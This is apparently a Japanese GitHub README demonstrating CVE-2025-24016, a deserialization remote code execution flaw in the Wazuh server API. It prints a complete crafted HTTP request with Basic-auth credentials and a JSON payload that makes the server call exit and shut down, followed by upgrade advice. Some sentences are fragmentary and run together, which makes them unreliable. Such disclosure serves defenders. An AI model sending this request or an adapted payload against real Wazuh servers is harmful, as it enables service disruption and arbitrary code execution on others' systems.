glostarrx1/cve-2025-24016CVE-2025-24016: WazuhサーバーにおけるRCE! リモートコード実行
このリポジトリは、wazuh-manager パッケージ内の安全でないデシリアライゼーションによって引き起こされる Wazuh サーバーのリモートコード実行 (RCE) 脆弱性を示しています。この脆弱性により、API アクセスを持つリモート攻撃者（侵害されたダッシュボード、クラスター内の Wazuh サーバー、または侵害されたエージェントを伴う特定の設定）がサーバー上で任意のコードを実行できるようになります。
wazuh-manager バージョン >= 4.4.0>= 4.9.1 で修正済みこの脆弱性は Wazuh API に存在します。DistributedAPI のパラメーターは JSON としてシリアライズされ、framework/wazuh/core/cluster/common.py ファイル内の as_wazuh_object を使用してデシリアライズされます。攻撃者は、サニタイズされていない辞書を DAPI リクエストに注入することでこの脆弱性を悪用でき、任意の Python コードが評価される可能性があります。
RCE は run_as エンドポイントを使用してトリガーできます。このエンドポイントにより、攻撃者は auth_context 引数を制御できます。悪意のあるリクエストを作成することで、マスターサーバー上で任意のコードが実行される可能性があります。
サーバー API を使用してこの脆弱性をトリガーするには、以下の手順に従ってください。
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
wazuh-wui:MyS3cr37P450r.*-)。__unhandled_exc__ が含まれており、これが任意の Python コードの実行をトリガーします（この場合は exit）。>= 4.4.0 から 4.9.0 までです（まだ修正されていません）。exit 関数がトリガーされ、Wazuh サーバーがシャットダウンします。システムを保護するには、この問題が修正されている Wazuh バージョン >= 4.9.1 にアップグレードしてください。